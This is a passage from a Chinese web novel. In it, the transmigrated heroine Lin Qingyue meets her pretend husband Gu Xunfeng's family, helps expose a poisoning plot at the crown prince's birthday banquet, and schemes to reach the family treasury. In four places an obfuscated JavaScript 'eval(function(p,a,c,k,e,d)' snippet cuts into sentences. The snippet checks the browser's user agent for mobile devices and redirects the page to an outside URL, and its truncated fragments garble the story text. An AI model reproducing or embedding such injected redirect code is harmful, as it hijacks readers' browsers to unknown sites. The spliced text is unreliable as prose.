之前顾寻风送她的那件衣裳,她最喜欢,不华丽也不是什么名贵的材质,但她就是喜欢。 这里的衣裳好看归好看,但她多多少少都能挑出些不满意,实在选不出了。 “算了……” 林清月想到那件衣裳就觉得可惜,不免面色悲伤。 这时,忽然有个可爱的小姑娘凑过来,挡住了她的路,瞧了她就几眼,随后扎到衣服堆里,很快就拿了件衣裳出来,“姐姐你看看这件!” 林清月只当她是这儿的店员,望过去,见她手中是一件翡翠色的衣裳,上面用红丝线装饰,铺开纹路,还有个轻纱制的红色披帛绕过肩头挂在上面,看着比之前那件更为华贵。 她无奈:“我不买了。” “你试试嘛,姐姐你长得这么漂亮,穿上一定特别好看!”那小姑娘眸光闪闪,眸中带着请求,“求求你啦~” 林清月抬手抚上那衣裳,感觉得出是上好的料子。 她眼珠子转了转,见那边打包还要些时间,对上小姑娘祈求的眼神,当即接过衣裳:“好好好,那我换上试试。” 经过这些时日赶路,她是风尘仆仆的,身上衣裳也有些脏了,若这衣裳穿着真可以,穿着去见顾家人还可以。 人家是朝堂大家,对些礼仪穿着什么肯定有些讲究,她毕竟还要去偷人家宝库钥匙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14174104|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是先把印象分做高一点好些。 林清月在这位小姑娘热心的帮助下换好了衣裳,那轻纱披帛一半挂在左肩上,顺着胳膊落下,另一半则挽在右臂,与这衣裳仿若融为一体。 小姑娘看着她,眼睛冒爱心似的,“若是改改妆容便更完美了……不过姐姐生得漂亮,就这样也够好看了!” 正巧这时候那边的衣裳都打包好了,林清月也挺满意,这衣裳穿着很舒服,便把银钱补了过去。 小姑娘不是这店里的店员。 拉着她又去了一个胭脂铺,看起来跟胭脂铺老板的关系很好,三言两语就得了一盒胭脂过来,给她涂涂抹抹。 林清月望着镜中的自己,略施粉黛,发簪也被重新挽了下,脑袋上多了些点缀,长长的发丝披散下来,她晃晃脑袋,仿佛都能听见脑袋上珠翠碰撞的声音。 古人挽的发簪比他们挽的要正规许多,这般看着,倒真像是个倾国倾城的古代美人。 林清月都拘谨了一些,完全不敢乱碰。 “好啦?” “好啦!我们走吧!”小姑娘好像拉着她去哪。 走出胭脂铺的门,林清月拉住她说:“我还要去找我夫君,就不跟你一起了。” 小姑娘泪眼汪汪:“我好不容易把你打扮好,你就不要我了嘛?” 林清月懵:“不是……” “走吧我带你去玩一会!” 林清月被她拉走,只能让仲长湫去买衣裳的地方等着顾寻风。 这小姑娘对胡京十分熟悉,是个本地人,穿着桃色衣裳梳着可可爱爱的发髻,蹦蹦跳跳,一点没有形象可言,逐渐的,林清月也放开了,没拘束自己。 两个形色各异的姑娘便就这样手牵着手在街上逛着,倒是吸引了许多目光。 “姐姐我跟你说,前面拐个弯过去还有许多民间小吃,我带你去吃个遍!我们这儿有个糕点铺子,里面的马蹄糕最好吃啦!” 说着,她已经拐了弯过去。 但下一秒却骤然停住脚步。 林清月望过去,见顾寻风就站在拐角处,抱剑靠在墙壁上,伸出了手抵着小姑娘的额头,眉目冷冽。 “顾焦焦,你害我被大哥骂死了。” “四哥!!”顾焦焦抓住抵着自己的那只手,“你终于回来啦!” 顾寻风抽出手来,语气不耐:“别在这惺惺作态,我一回来你就溜出了门,你以为我不知道吗?我都给你背锅背了多少回了,你能不能不要祸害我了——” 彼时,林清月看着面前二人,脑筋飞速运转,看准时机插上嘴问:“你四哥?” 顾焦焦转身把她拉过来。 “对!我四哥!你别看着他不太靠谱的样子,他可是大将军呢,可厉害了……” 她兴致勃勃介绍。 林清月望过去,眨眨眼。 顾寻风似乎也没想到会在这儿看见她,此时明显愣住,本侧着靠墙的身子也正了过来。 他面露惊愕:“你怎么……” 林清月没管旁边疑惑的顾焦焦,走近几步,看见他略显慌乱后退,心意一动,快速上前拉住了他胳膊,甜甜喊他一声:“夫君。” 顾寻风低着脑袋,不敢看她,解释道:“你换了衣裳,我刚刚没看见你在这里。” 林清月凑近,直接挽住了他手臂。 胭脂的香味窜入鼻间,顾寻风下意识垂眸看过去,见林姑娘眸光闪烁,藏着星子似的瑞凤眼直直撞入他眼中,把他的呼吸都撞得停滞了一瞬。 周遭的喧嚣仿佛在一刹那静止,他只能听见她说:“夫君,我找了你好久。” 39. 参见父母 “等等……你就是我四哥那个传说中的媳妇儿?!” 顾寻风还没说什么,顾焦焦便兴奋凑过来,把她上看看下看看,发出感叹,“四哥你从哪找的这么好看的媳妇儿!我也要!” “……”顾寻风把她拎到边上去,“跟我回家,不许在外面晃了,大哥说今夜凑个整,谁要不在就罚赏钱,以后每月赏钱都减一半。” “一半?!大哥终于还是疯啦呜呜呜……”顾焦焦焉了,听话的往顾家走。 林清月拽着顾寻风在后面,小声问:“焦焦说的那个铺子的马蹄糕,真的那么好吃吗?” 顾寻风望向他明亮的双眸,微微颔首:“好吃。小时候娘经常买给我们吃的,你想吃的话,我带你去买来。” 林清月欣然应下。 三人一行先去把仲长湫接着,随后很快到了顾府,林清月心脏怦怦跳,还未准备好,老远就看见顾府大门口站着一个月白色衣衫的男子,不管是衣裳还是发丝,都是一丝不苟的。 顾焦焦奔过去喊:“大哥!” 人还没抱过去,就被抓着后脖颈一顿训。 而对于慢悠悠过来的他们,大哥只是给了一个眼神,什么都没说,拎着顾焦焦进去了。 进了门,林清月挽着顾寻风不敢放开,“我、我不知道该怎么做,你家有什么规矩吗?我有什么要注意的?” “……应该没什么吧。”顾寻风认真思考,“你也知道他们都是群古板的文人,礼仪什么的,虽然在外面偶尔不讲究,但在家若是太放肆会被罚的。不过你总归不是顾家人,应当没事。” 林清月跟着他进了顾府,顾府并不奢华,多是楼台水榭,走在院中,耳边是哗啦啦的水声,听着倒是让人心静。 她拉住顾寻风的袖子,不安道:“我不会你们这儿的礼仪……” “没事。” “不行礼的话印象不好,你教教我吧。” “……我不是顾焦焦。”顾寻风停了脚步,望向她,“其实我也不喜欢行礼,你不行也可以的。” 林清月下意识就抬手往他后脑勺呼了一巴掌,“你是你我是我,我爸……爹娘他们告诉过我不能没礼貌,你没学过总看过猪跑,你就教教我嘛。” 她捏着对方的衣角扯了扯,“夫君夫君,好不好?” 顾寻风心跳一顿,避开她的眼神,把自己的手臂也抽出来,“私底下你别这么喊我,我们又不是真的这种关系……” 林清月凑过去,“那你教我。” 她盯着对方脸上的红蔓延到脖子上,坏心眼笑了笑,抬手扯着他衣角继续撒娇,“不然我就一直喊你,夫君?夫君夫君……” 顾寻风反手拉住她手腕,“别叫了,我带你去找焦焦。” 顾寻风轻车熟路到了一个清幽的小院子里,顾焦焦就在里头,拿着树枝逗鱼玩。 见他们来了,顾焦焦丢下树枝跑过来,“你们来看我啦?四哥你什么时候这么好了……一定是四嫂想我了,对不对!” 林清月拉着她的手,把自己身世说得可怜极了,一顿哭诉,最后,顾焦焦心疼拉着她讲了许多顾府的规矩礼仪。林清月听得认真,没注意到抱剑站在门口的顾寻风被叫走。 过了会,顾寻风过来,犹豫片刻,拉拉她衣裳,“走了,我爹娘在正厅里。” 林清月站起身理理衣裳,跟着顾寻风往正厅走去,快走到了,她一把抓住顾寻风的手,顾寻风下意识要抽出来,却被牢牢扣住。 “我们演好一点,你放心,你不喜欢我,我不会强迫你,等我修理好你们军营,我就跟你和离,同样的,到了那时候,你也要放我走。” 听此,顾寻风果然没再乱动,点点头:“好。” 说实话,林清月心里莫名不是滋味,但来不及多想,顾寻风已经拉着她踏入了大厅。 顾父严肃地拿着本书在看,顾母则第一时间看到了他们,拿胳膊肘怼了下顾父,“别看了,放下。” 顾父马上放下书,清清嗓子看向顾寻风,故作严厉:“做什么去了来这么晚?” 顾寻风兀自走到一边,倒着茶,有些散漫的说:“去看了下焦焦,这不是来了,给您敬茶。” 林清月接过顾寻风递过来的茶杯,学着他敬茶,紧张喊着:“爹,娘。” 顾母异常高兴,接过她手中的茶水,对顾父说:“真水灵一姑娘。” 顾父听此瞥她一眼,又转眼看顾寻风,最后才小声回话:“听老二说是苏周城的姑娘,水生水养自然水灵,也不知道这臭小子走了什么狗屎运……” “你嘴巴能不能干净些,活该天天被陛下打板子。” “我这在家里都不能说话了吗夫人?你从前不是这么对我的……” “你且闭嘴。” 两人说着所有人都能听见的悄悄话。讲了几句,顾母回神过来,起身把林清月拉到一旁坐下,“这手心怎么都出汗了?” 顾母拿着帕子给她擦擦,温言细语:“不必拘谨,偷偷告诉你,我们家中的规矩大多都是为了阿风那小子设的,他啊向来不服管教,总喜欢逆天行事,听说你们是在军营认识的?他给你添了不少麻烦吧……” 林清月看向顾寻风,顾寻风正乖乖站在顾父那被教导。 她摇摇头:“他很厉害。” 顾母笑笑:“真懂事的姑娘……没关系,你要是有什么委屈都可以说出来,他的性子我作为娘还是知道的。” 林清月想了想,顾寻风能给她添什么麻烦? “除了最开始不信任,有什么事不知道商量之外……其实也还好,有好多次还都是他救下我的呢,他武功可厉害了。” 顾母无奈:“唉,他还是这样。” 说着,顾母看向顾寻风,眸色暗了一下,似是有些伤怀,“厉害又怎么样,还不是会受伤。从小他就最不让人省心,焦焦都没他能折腾,不听他爹的话,执意去当武将就罢了,后来瞒着我们去跟了现在的陛下……算了算了,现在不提这些。” 这些事,林清月听了很多遍,说顾寻风一家子文官,就他一个非要来当将军,说顾寻风跟着现在的陛下,篡位夺印,逆了王朝…… 可这些官场中的弯弯绕绕,她一个现代人不懂,她只知道,“顾寻风是个很好的人,至少如果没了他,我都不知道能活过几天。” 顾母眼中有了泪花,握住她的双手,有些哽咽:“有你还真是他走了运。对了,你的名字,是叫林清月是吗?你家住哪里?这老头子当时听了些传闻,与陛下把酒言及此,就这么指婚过去,我们聘礼都还没送上门去呢。” 林清月赶紧摆手:“待我有时间,领着他去见了我的父母再说吧,这事儿不着急的,娘也说了这次成婚仓促,我和他其实也正在磨合阶段,都不知能走到几时……” 顾母定定看着她,最终叹气:“也是,那就依你。” 她与顾母聊得还行,顾寻风便在那边与顾父讲话,隐隐约约的,林清月听见他们在谈楚家的事情,但他们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾寻风戳了戳碗里的饭,把肉又放回她碗里,“是是是,你就是个娇生惯养的大小姐,我不吃,你吃吧。” 林清月哼一声,松口气继续吃饭。 第二日,顾焦焦很早就来喊她起来了,仲长湫自然是不能带去,她便把仲长湫留在了顾府查探地形,看看宝库位置。 去往宴会路上,她与顾寻风乘同一辆马车前往皇宫中,林清月也不知道是什么宴会,一路就跟在顾寻风身后,顾寻风今日穿的宽袖袍衣裳,头发都放了下来,束着金冠,宫中不许带武器,他便直接把剑放在了家中。 林清月本想直接挽着他手臂走,被他一把拉下,只能扯住他衣袖,她就躲在那宽大的袖袍旁与顾寻风小声讲话。 “你家里人都不来呀?” “……听说我要来,一个个就都说有事来不了了,我们不是带了许多礼吗,都是他们的。” “皇帝真的会同意我们去姜国吗?应该会吧,我们刚打了胜仗……对了,这次是什么宴会啊?礼是送给谁的啊?” “太子的生辰宴。” 说着些有的没的,二人已经走进了宴会,里头的人瞧着都懒懒散散的,皇帝这类领导的人都还没来。 林清月今日穿的是来胡京时买的衣裳,顾焦焦早晨好生的给她上了妆,挽了发髻,披帛绕在两边手臂上仙气飘飘,又是一张仙容般的面孔,在进门时引了些目光。 她一一回望过去,忽的捕捉到一双不太友好的眼神,正当要细看时,被顾寻风扳回了脑袋。 顾寻风的手顺着往下,揽住她肩,将她带到座位那边,低声道:“那是姜国使臣,他们都认得我的,现在估计也认得你。” 40. 宴会突袭 “这么刺激?”林清月倒了杯酒放在面前,“刚打完仗就派使臣来,皇帝还同意了?” 顾寻风看了眼那酒杯,微微阖眸,“你别想些有的没的,你若是过去,他说话得呛死你。他很早之前就来了,在你出现在军营之前就来了,只是陛下不放他走,拖着他,就是为了让我好去军营打他们。” “你怎么知道我想要去敬酒?”林清月弯眸笑笑,抬了抬酒杯,碰碰他的,“不让我去敬酒,那你跟我来一口?” 顾寻风眉角一抽,刚妥协地拿起酒杯,听见太监尖锐的声音:“陛下驾到——太子驾到——” 林清月立马低了下头,也不是害怕,只是想降低存在感,她也不是很会行礼什么的…… 可谁知道,这皇帝一进来就奔着他们的座位来,笑吟吟喊着:“止戈。” 在皇帝走过来之前,顾寻风掐了她一下。 林清月咬牙切齿:“我看到了。” “起来。”顾寻风对她说。 他们二人从座位上站起来,顾寻风先行礼,林清月便跟着他行了个礼,差点学着他作揖,好在及时想到了顾焦焦交给她的行礼动作。 她隐隐约约听到身旁有叹气的声音。 “近来可还好?”皇帝抱着一个小孩子走过来,小孩看起来只有三四岁,说话都还不是非常明白。 “还……”顾寻风才刚说出一个字。 皇帝把孩子往他怀里一塞,捞过他们桌上的酒杯就回身去跟大臣们一个个打招呼。 顾寻风:“……” 林清月:“……?” 林清月转过头去,正好与那个小孩四目相对,小孩立马转过脸埋在顾寻风怀里,两只肉乎乎的手紧紧抓着顾寻风的衣裳。 林清月疑惑:“我很可怕?” 顾寻风淡定:“殿下害羞。” “……” 这应该就是今日的那个主角太子。 林清月又看向那边的皇帝,皇帝一身黄袍着身,穿得十分随意,发丝披散下来,一张脸称得上妖艳,那桃花眼看谁都深情。 她顿了顿,问:“所以现在?” 顾寻风盯了皇帝一会,换了个姿势抱着太子,认命般坐下,“陛下不想带孩子,坐吧。” 林清月坐下,撑着脸看向太子,太子一直埋在顾寻风怀里不肯露出脸,耳朵都憋得通红,林清月觉得好笑,丢了个葡萄在嘴里,“太子这么害羞,但是对你还挺亲近?” 顾寻风单手抱着太子,把吃食往她那推了推,解释道:“他是陛下刚被封太子之时出生的,是太子妃的孩子,太子妃难产而死,他便归我二姐名下,所以对我也算是亲近。” 末了,补了句:“除了陛下和我他最亲近的还是二姐——” 恰巧这时各个妃子也都来了,顾寻风停住话语朝门口望了望,已经准备着交出太子。 林清月也看过去,看到最后进来的一个女子脸上挂着温和的笑容,与丫鬟谈笑着进门,那女子进门便直奔皇帝那边,声音如面上一般温柔:“陛下。” 皇帝便顺势把她揽到身边。 林清月想这应该不是二姐,于是移开视线。 看了许久,没一个来接太子的,她转眸看向顾寻风,像感应到了似的顾寻风立马开口:“指望不上。” 林清月憋笑:“你二姐不会是皇帝身边那个吧。” 顾寻风没回话,他垂眸,在桌上挑挑拣拣,拿了个苹果,塞到太子手中,声音冷得不行:“殿下,给娘娘送个苹果。” 太子懵懂地看着怀中被塞进来的苹果,一张小脸红扑扑的,被顾寻风拎出来放在一旁,面对着皇帝那边。太子兴奋地喊:“娘……娘……” 然后抱着个苹果啪叽啪叽往前走。 “他会走路啦?” “再走三步就摔。” “……” 林清月转头看着太子。 一。 二。 三。 啪。 太子扎实的摔在地上。 皇帝身边的太监大喊:“殿下!” 皇帝和妃子都看过去。没人上前,太监也不敢,看向皇帝欲言又止,又看向一旁的贵妃:“娘娘……” 贵妃挽着皇帝胳膊扶额:“臣妾不胜酒力,脑袋有些昏沉……” “尘微?”皇帝看看她,吩咐太监:“没听到吗?去拿碗醒酒汤来,愣着做什么?” 太监应声退下了。 而太子还在地上挣扎着想站起来,以太子为中心,方圆几米都没人。 林清月歪歪头看向顾寻风:“他不是太子吗?怎么没人扶一扶?” 这太子待遇好差啊。 顾寻风视若无睹,“会哭,等他自己爬起来回去找二姐的。” 林清月看了眼被皇帝扶到座位的微醺的贵妃,“……你家是靠什么混到现在的?” 顾寻风:“靠不长眼。” “?”林清月无奈,笑了一声,“我说真的。” 顾寻风快速往她嘴里塞了一个剥好的葡萄,看着她鼓起来的脸,下意识戳了过去,并在她继续发出疑问之前开口:“那靠我?” 他的眼神认真,不似开玩笑。 林清月嚼着葡萄,嘴里泛甜,耳边声乐嘈杂,她正与他对望,没有人先动作,眼神就这么相撞融合,仿佛要把对方看透。 咽下葡萄后,她微微倾身,抬手扶了扶他头上的簪子。 忽然,顾寻风抬手将她腰身揽住拉入了怀中,彼时在她身后,一支箭破空而来,碰到桌面,桌面直接裂开。 下一秒,顾寻风就放开她,一转身到了太子身侧,接住了第二支飞来的箭,手指微微用力,那箭在他手中断成两半。 “有刺客——护驾!护驾!” 太监尖锐的声音响起,本来安静下来的众人都吵闹起来。 林清月起身去找顾寻风。 她找准方向走过去,正好顾寻风也在朝她这边走,他脚步飞快,分明无风,脑后的发丝却飘扬而起,红黑的衣裳随着他的动作荡起涟漪。 他提前伸手,手心覆上她后脑勺就往怀里按,偏了偏身,林清月听见耳边有什么刺入血肉的声音。 “顾寻风!” 林清月转头看过去,见一支箭扎在他手臂上。 但还不等她再反应,顾寻风已经把箭拔下来,朝着箭飞来的方向掷回去。 林清月回头望去,只见一个黑影闪过。 有禁军去追,顾寻风没再管,把林清月放开来。 林清月抓住他受伤的那只胳膊看了眼,转身往他身后走过去,那边是姜国的使臣。她的手伸到百宝袋中拿出了什么握在手中,彼时殿门被追到人的禁卫打开,一阵风袭来。 赤红色的披帛挟着翡翠绿的裙摆骤然扬起,脑后发丝亦被拨起了几捋。 “这位大人是不是掉了什么东西?” 林清月停在使臣面前,手往桌上一拍,再离开,桌上是一个已经用过的药包。 使臣拍案而起:“你别想污蔑我!这……我根本就没有这种东西!” 此时那刺客被丢在了大殿中央,皇帝还悠哉悠哉往嘴里塞了一块荔枝,贵妃抱着太子,太子则抱着苹果。 皇帝笑眯眯:“怎么回事啊?” 使臣指着林清月,跪下控诉:“皇帝陛下!她污蔑我啊!我怎么可能会带毒药……”而且他也还没下呀!他刚拿出来就打完了!那刺客太不中用了! “你怎知这是毒药?”林清月骤然打断他。 使臣还想狡辩什么,林清月却忽然上前几步,在他腰包上掏了一个一模一样的药包出来,不一样的是,里面的毒药还在。 “啊,这不会是毒药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14199865|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?”使臣下意识要抢,马上就反应过来自己或许中了圈套,但顾寻风过来将他一脚踢在了地上。 林清月转向皇帝作揖:“陛下,赶紧拍太医看看吧,若真是毒药——” “大胆张强!”皇帝一拍桌子,“赶紧把太医院的太医叫过来验证一下这毒药是真是假,若是真……那你们姜国完了!” 太子看看父皇,又开口下面的人,肉肉的小手学着指过去:“丸啦!” 皇帝:“……” 贵妃把苹果塞到太子嘴里:“乖来啃苹果。” 皇帝轻咳一声,收回手,看向林清月:“你便是止戈的那个媳妇儿……” 贵妃:“啧。” 皇帝:“夫人吧。” 林清月刚在看顾寻风手臂上的伤,听此,转头看向皇帝道:“是,民女林清月……” “不用行礼不用行礼,你且把东西呈上来,朕看看。” “是。” 林清月暂时把顾寻风的伤抛到脑后,呈上搜罗出来的毒药,正好这时太医已经来了,就在皇帝面前验毒,额头汗涔涔的。 又是闻又是戳的,片刻后,太医道:“若臣没看错,此毒……应是瀛洲所有啊。” 那被抓着的刺客突然割断绳子跳起,手里的刀直直冲着林清月砍。 林清月霎时愣在原地——靠,居然是日语! 彼时刀已经砍过来,顾寻风离得太远,没来得及过来。 她刚要用百宝袋做些什么,突然,身前出现一道艳丽的身影,头顶繁琐的发髻和簪子并没有影响她任何动作,规矩的衣袍被动作带得无比飘逸。 一掌,一脚。 对方已经倒在地,被无数剑抵着脖子起不来。 随后,孩子的哭声爆发。 “欸——”顾尘微的威风凛凛一下子卸掉,把太子单手递出去,另一只手堵着耳朵:“赵宸!你快把他拿走!” 然后是皇帝回话:“我不要!” “拿走!” “不!要!” 太子哭得稀里哗啦,林清月夹在两人中间,正好能看到被拎在空中的太子,然后太子哭得稀里哗啦的眼睛再次和她对上了视线。 …… 然后太子的哭声停止了。 在空中转了半圈,抱着顾尘微的手,把脸埋住。 “殿下看到女子就害羞。”顾寻风这时已经走到了身边来,解释,“殿下性子自出声就这般古怪,你不用在意。” 太子此刻正往顾尘微那边一拱一拱:“娘……娘、娘……娘……” 顾尘微清了清嗓子,把太子抱回怀里,拍着背,朝林清月柔柔一笑:“弟妹,你没事吧?” 林清月摇摇头,随即想到什么,问:“有伤药吗?” “哎呀,忘了阿风也受伤了。”顾尘微无奈摇摇脑袋,从太医那要来一瓶伤药,递过去,“喏,用这个。” 顾尘微笑得温柔,根本看不出来地上那人是她打倒的。 还坐在御座上的赵宸笑着开口:“就在朕边上的位置吧,要太医帮忙吗?” 顾尘微把药瓶塞过去后先一步道:“阿风皮糙肉厚,扎实得很,这么点小伤,我们就不要让人打搅他们俩啦。” “说的是。” 皇帝和贵妃达成共识,于是林清月二人就做到了他们边上,林清月坐下后放下药瓶看看他,拧了他胳膊一下。 顾寻风吃痛,皱皱眉:“?” 林清月拧开药瓶,问:“你干嘛去挡?” “我?”顾寻风看着他的动作,停住把吃食推给她的举动,有些疑惑,“我只是一时失误没挡掉,你莫不是还以为我喜欢你?” 林清月捏着药瓶的手紧了紧,指尖泛白,幽幽盯他。 默了会。 顾寻风小心翼翼询问:“难不成……是你喜欢我吗?” 41. 夜闯宝库 彼时皇帝和贵妃在那边讲话的声音传来。 “别动我,你烦不烦人……刚刚让你把孩子接过去你不~要~现在动作倒是快。” “欸你干什么,朕是皇帝,你只是个……” “我是你太奶。” “……朕不理你了!” 被压低的声音传入耳中,林清月猛的从他刚刚那句中回过神,她眯了眯眼看他,“你说什么?” 顾寻风偏开了眼眸,拿起一棵葡萄来剥,没有回话。 林清月眼疾手快,那葡萄还没剥,便被她抢了过去,她的眼睛死死盯着他,把葡萄放在嘴里轻轻一咬,葡萄肉与皮分离进入嘴里,葡萄皮被她丢在小盘子里。 顾寻风被她盯得有些不自在,动动手臂,“……我随便问问。” 林清月笑:“那如果我说是呢——” 顾寻风一僵,鼻间窜进她凑近时带来的胭脂味道。 明亮的眼眸忽而凑近对视,那带着笑意的声音闯入耳中,挟带着淡淡的香味,此时此刻,仿佛五官都只属于她一人,“那该怎么办?” 如果她说是,那该怎么办? 顾寻风没想过。 他也不觉得她会说是。 “嘶。”顾寻风被疼痛惹得回神,转头望着在给他上药的林姑娘,林姑娘抬眸瞅了他一眼,说:“疼?我还以为你不知道疼呢。” 顾寻风抿抿唇,不出声了。 此时那使臣正在痛骂那个瀛洲的刺客,说什么这一切都是瀛洲的刺客指使,因为听说这里出了个能人,所以想来除掉,说他指使一时受蛊惑,又对母国战败心有怨怼,所以也合作,刺客刺杀不成,他便去把那能人毒死…… 林清月听出来了,这能人便是自己。 【宿主我就说吧,不亏的~】 这百宝袋进阶的功能,要花上一万点积分,贵得要死,它可以完美复制一件物品,无论大小或贵贱。 她早就看到这使臣总狗狗祟祟的了,混乱之时刻意留意了下,便看见这毒药壳子,在顾寻风替她挡了那一箭后觉得必须做点什么了,于是用这一万点复制个毒药壳子。 一万点啊,她是真心疼。 统共就只有十万点积分,现在还只能用十次啊,她本来打算偷钥匙的时候用的,结果提前在这里用了一次。 不过现在知道是救自己的命,心里的确好多了。 皇帝说:“这只能说明,你们姜国不安分的心眼子,连瀛洲都能看到了,不然为何找你合作?行了,拖下去杀了吧。” 使臣鬼哭狼嚎。 他刚收到母国来信说打不过啊! 他死了,要打起来,那他就是罪魁祸首…… “皇帝陛下饶命啊,这一切都是瀛洲刺客指使的啊——” 皇帝不耐烦地挥手,叫人把他快些拖下去,至于这个瀛洲刺客,皇帝打算找个懂此语言的人来。 林清月看着被拖下去的使臣,给顾寻风包扎完,问顾寻风:“姜国与我们仇恨深吗?” 顾寻风摇头:“还好。” 思索片刻,林清月推了推顾寻风道:“要不就说我们去探查一番,让陛下给我们捏造个身份去姜国。” 顾寻风瞥他一眼,不置可否:“但现在不宜多说,那使臣没有好心,等他被斩了再说吧。” 林清月也没有多言,这使臣是怀着杀了她的心思,她可没有那么大度,去救下他。再说了她也知道这是古代,皇帝为大,她才不会去作死。 等到宫人来禀报,宴会已经接近尾声了。 林清月掐着时机提议:“正巧军营那边刚打完仗,正在修缮军营,左右我们也帮不上太大的忙,不如就让夫君与我一同去姜国一探虚实?” “有道理……”赵宸点点头,“之前朕便听说了你,都传你头脑灵敏,聪慧过人,在军营帮了不小的忙,如今看来,倒是属实。” “陛下说笑,一点微薄之力,不足挂齿。”林清月谦道。 “好,那朕这次便给你们个身份能去姜国,至于使臣的事,朕就先压下来,以免打草惊蛇。”皇帝一下就安排了下去,望着林清月,那双桃花眼带笑,眼神中带几丝探究,“朕倒要看看,你究竟能有多大的能耐。” 这场宴会结束后,已经是傍晚,林清月跟在顾寻风旁边,趁他们不注意顺了一串葡萄在百宝袋中,别说,这宫里的葡萄就是水灵。 刚收完,听见顾尘微的声音:“阿风。” 此时皇帝已经抱着太子走了,顾尘微走过来喊了顾寻风一声,对林清月柔柔一笑:“清月,今日多亏你。” 林清月不好意思说:“还是顾……夫君救了我,我没帮上什么忙的。” “他?哦,对。”顾尘微的目光挪到顾寻风受伤的手臂上,笑容柔和,“不过,还得多练。” 顾寻风把手臂收了收,道:“剑不在。” 顾尘微上前拍他肩膀,“多练。” “……” 随后在丫鬟说皇帝还等着的催促声中,顾尘微才离开。 顾寻风貌似松了口气的样子,拉着林清月离开了宫宴。二人回到家中,不知是不是宫宴中的事情传得太快,一回来,顾寻风就被顾父拉去了。 林清月回到自己的房屋内时,仲长湫正鬼鬼祟祟扒在门口。 “队长队长!” 林清月走过去关上门:“怎么样了?” 仲长湫一身土黄色的衣裳,头发梳起马尾,尾巴刚到肩头,随着动作一晃一晃的,他喝了几口水,一脸认真说:“我打听到了,那宝库里都是顾家从外界收来的些天灵地宝,什么稀奇的东西都有。军营修缮需要的东西多,我们说不定还真能带走些什么有用的……” 林清月点点头,不过不用带走,这样就太不道德了,她用百宝袋复制走就行。 积分用到这些地方她是不心疼的。 “还有还有,这是我赶出来的地形图,用了队长你屋中一些纸墨……” “没关系。” 林清月把东西拿过来看,地形图十分详细,仲长湫跟她讲了讲,甚至把去宝库的路线都标好了。 现在最重要的,就是要怎么拿到宝库钥匙了。 而宝库钥匙,又被放在哪…… 是夜,林清月去敲开顾寻风的门,顾寻风开门看到她的时候,以为出现幻觉,还想关上门,被林清月拦住了。 “……你干什么。” “看看你嘛。” “我要睡觉了。” “那看看睡颜。” 顾寻风:“……” 顾寻风欲言又止。 林清月哎呀一声:“长湫今日不小心崴了脚,我就让他睡我那个床了,比较舒服,你就收留我一下?” 顾寻风面容崩了一下:“明日他们就都传出去了。” 林清月才不管,挤进去:“传出去就传出去,那怕什么,我们对外本来就是夫妻。” 顾寻风回头看看她,又看看自己捏着门框的手,片刻后,还是把门关上了,“我睡地上吧……” “那多见外!”林清月赶紧阻止,“就是睡个觉而已,没关系啦,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14250318|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不在意,你还这么扭扭捏捏做什么?” 说着,林清月已经把外袍脱下来,随手放在他的外袍上面,然后就这么钻进了被子,还贴心给他腾出一块地方。 林清月侧躺撑着脑袋,清清嗓子,夹了下声音,温声道:“麻烦夫君熄灯咯。” 顾寻风踌躇片刻,最终叹口气,吹熄了灯盏,到床上睡下。 林清月凑到他身边,“夫君平日里几时睡觉。” 顾寻风闭着眼睛:“现在。” 林清月持续输出:“夫君~” 片刻后,顾寻风深吸口气,“……有事说事。” “夫君家中有没有什么宝贝可以帮忙的我们要去那边了我觉得好紧张怎么办?”林清月一口气说出去,生怕他打断,又怕他多想,“夫君——” 顾寻风朝她侧过身,眸中看不清明,直接问:“你想去宝库吧。” 嗯? 林清月眯眯眼睛:“你怎么知道?” “我听焦焦说,你带的那个人今日四处闲逛,还打听了宝库。”顿了顿,他黝黑的眸子看着她,“所以,你没有立即与我和离,是因为你还想要什么,而那只有我能给,对吗?” 那倒也不全是这个原因…… 林清月心想,其实也有点觉得舍不得,但也只有一点! “你知道还问,我……你放心,我一样东西都不会拿的,我只看看,你帮我拿到进宝库的钥匙,你也可以盯着我,不是吗?” 顾寻风心想果然是这样,冷哼一声躺了回去,闭上眼睛不回话了。 林清月觉得他莫名其妙。 “喂。” “喂——” “顾寻风!” “……” 